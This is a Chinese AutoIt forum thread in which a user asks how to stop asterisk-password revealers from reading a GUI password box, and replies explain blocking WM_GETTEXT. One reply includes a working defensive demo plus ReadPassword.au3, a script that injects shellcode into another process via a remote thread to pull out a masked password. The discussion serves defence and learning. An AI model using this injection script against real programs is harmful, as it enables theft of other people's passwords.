找回密码
 加入
搜索
查看: 4973|回复: 10

[系统综合] AU3 GUI 上的密码怎么防止星号密码查看器查看【已解决】

  [复制链接]
发表于 2012-3-28 17:22:05 | 显示全部楼层 |阅读模式
本帖最后由 qq82015930 于 2012-3-31 00:30 编辑

AU3  GUI 上的密码怎么防止星号密码查看器查看.不能防止星号密码查看器,密码就等于没设一样.
 楼主| 发表于 2012-3-28 17:47:10 | 显示全部楼层
我问题不够详细还是没办法,怎么没人回答也,
看的人灌哈水也好嘛
~
发表于 2012-3-28 19:19:08 | 显示全部楼层
获取星号密码,原理应该是创建远程线程并发送WM_GETTEXT消息的,如果真是这样,可以定义一个全局标志,并截取Edit控件的WM_GETTEXT消息。自身进程在GUICtrlRead(内部原理就是发送WM_GETTEXT消息)之前,先设置一下这个标志(置位),读取完之后再清除(复位)。当在Edit控件的窗口过程中截取到WM_GETTEXT消息时,如果全局标志处于复位状态,则截断WM_GETTXT消息,否则放行。

评分

参与人数 2金钱 +35 贡献 +2 收起 理由
qq82015930 + 10 + 1 很棒的见解
zldfsz + 25 + 1 很深奥

查看全部评分

发表于 2012-3-28 20:49:58 | 显示全部楼层
本帖最后由 pusofalse 于 2012-3-28 20:56 编辑

Test.au3


#include <WinAPI.au3>
#include <EditConstants.au3>
#include <WindowsConstants.au3>

Const $INPUT_PASSWORD = 3
Const $BUTTON_PROTECT = 4
Const $BUTTON_READ = 5

Const $FLAG_READING = 1
Const $FLAG_PROTECTED = 2

Global $INPUT_FLAG, $INPUT_WNDPROC

$hInputProc = DllCallbackRegister("_InputProc", "long", "hwnd;long;wparam;lparam")
$pInputProc = DllCallbackGetPtr($hInputProc)

$hGUI = GUICreate("test", 200, 80)

GUICtrlCreateInput("", 20, 20, 160, 20, BitOR($ES_AUTOHSCROLL, $ES_PASSWORD))
$INPUT_WNDPROC = _WinAPI_SetWindowLong(GUICtrlGetHandle(-1), -4, $pInputProc)

GUICtrlCreateButton("Protect", 20, 50, 75, 20)
GUICtrlCreateButton("Read", 105, 50, 75, 20)

GUISetState()
While 1
        Switch GUIGetMsg()
        Case $BUTTON_PROTECT
                _ProtectInputFromRemoteRead()
        Case $BUTTON_READ
                MsgBox(48, "Password", _ReadData())
        Case -3
                ExitLoop
        EndSwitch
WEnd

GUIDelete($hGUI)
DllCallbackFree($hInputProc)

Func _ReadData()
        $INPUT_FLAG = BitOR($INPUT_FLAG, $FLAG_READING)

        Local $sPassword = GUICtrlRead($INPUT_PASSWORD)

        $INPUT_FLAG = BitAND($INPUT_FLAG, BitNot($FLAG_READING))

        Return $sPassword
EndFunc        ;==>_ReadData

Func _ProtectInputFromRemoteRead()
        $INPUT_FLAG = BitXOR($INPUT_FLAG, $FLAG_PROTECTED)

        If BitAND($INPUT_FLAG, $FLAG_PROTECTED) Then
                GUICtrlSetData($BUTTON_PROTECT, "Unprotect")
        Else
                GUICtrlSetData($BUTTON_PROTECT, "Protect")
        EndIf
EndFunc        ;==>_ProtectInputFromRemoteRead

Func _InputProc($hWnd, $iMsg, $iwParam, $ilParam)
        If $iMsg = $WM_GETTEXT And BitAND($INPUT_FLAG, BitOR($FLAG_READING, $FLAG_PROTECTED)) = $FLAG_PROTECTED Then
                Return 1
        EndIf

        Return _WinAPI_CallWindowProc($INPUT_WNDPROC, $hWnd, $iMsg, $iwParam, $ilParam)
EndFunc        ;==>_InputProc


ReadPassword.au3
#include <Thread.au3>

$hWnd = ControlGetHandle("test", "", "Edit1")
If $hWnd = 0 Then Exit

$iPid = WinGetProcess($hWnd)

$hProcess = _RTOpenProcess($iPid)

$pStart = _RTVirtualAllocEx($hProcess, 4096)
$bBinary = _ReadPasswordGetShellX()

_RTInjectEx($hProcess, $pStart, $bBinary)

$hThread = _RTCreateRemoteThread($hProcess, $pStart + 8, $hWnd)
_RTWaitForObject($hThread)

$pBuffer = DllCall("Kernel32.dll", "bool", "GetExitCodeThread", "handle", $hThread, "ptr*", 0)

$sPassword = _RTReadProcessMemory($hProcess, $pBuffer[2], "", 1024, "str")

_RTVirtualFreeEx($hProcess, $pStart, 4096)
_RTCloseHandle($hThread)
_RTCloseHandle($hProcess)

MsgBox(48, "Password", $sPassword)

Func _ReadPasswordGetShellX()
        Local $bBinary = "0x558BEC53E8000000005B83EB1168000400006A40FF1385C07415505068000400006A0DFF7508FF53045A85C00F45C25B5DC20400CCCCCCCC"

        Local $tBuffer = DllStructCreate("ptr Functions[2];ubyte Binary[" & BinaryLen($bBinary) & "]")
        Local $pBuffer = DllStructGetPtr($tBuffer)

        Local $tBinary = DllStructCreate("ubyte Binary[" & DllStructGetSize($tBuffer) & "]", $pBuffer)

        DllStructSetData($tBuffer, "Functions", _RTGetProcAddress("Kernel32.dll", "LocalAlloc"), 1)
        DllStructSetData($tBuffer, "Functions", _RTGetProcAddress("User32.dll", "SendMessageA"), 2)

        DllStructSetData($tBuffer, "Binary", $bBinary)

        Return DllStructGetData($tBinary, "Binary")
EndFunc        ;==>_ReadPasswordGetShellX


先运行test.au3,再运行ReadPassword.au3。用ReadPassword获取星号密码,在test中点击“Protect”,ReadPassword就获取不到了,原理就是3#说的。

评分

参与人数 2金钱 +87 贡献 +17 收起 理由
qq82015930 + 28 + 8 谢谢帮忙
zldfsz + 59 + 9 厉害

查看全部评分

发表于 2012-3-28 22:13:23 | 显示全部楼层
回复 4# pusofalse


    多谢,学习了
发表于 2012-3-28 22:16:41 | 显示全部楼层
Test.au3


ReadPassword.au3


先运行test.au3,再运行ReadPassword.au3。用ReadPassword获取星号密 ...
pusofalse 发表于 2012-3-28 20:49


p版学习了,谢谢了
发表于 2012-3-29 08:23:47 | 显示全部楼层
收藏备用, 好东西啊!
发表于 2012-3-29 09:18:11 | 显示全部楼层
谢谢分享。。。。学习了
发表于 2012-3-29 10:14:15 | 显示全部楼层
回复 1# qq82015930


    别的程序里关于这个的通用做法是:把你在迷码框输入的字符通过加密后在放在迷码框里保存
发表于 2012-3-29 12:55:17 | 显示全部楼层
学习了前辈们
发表于 2014-12-29 10:29:43 | 显示全部楼层
太高深了,收藏学习。
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-6-2 23:27 , Processed in 0.124516 second(s), 24 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表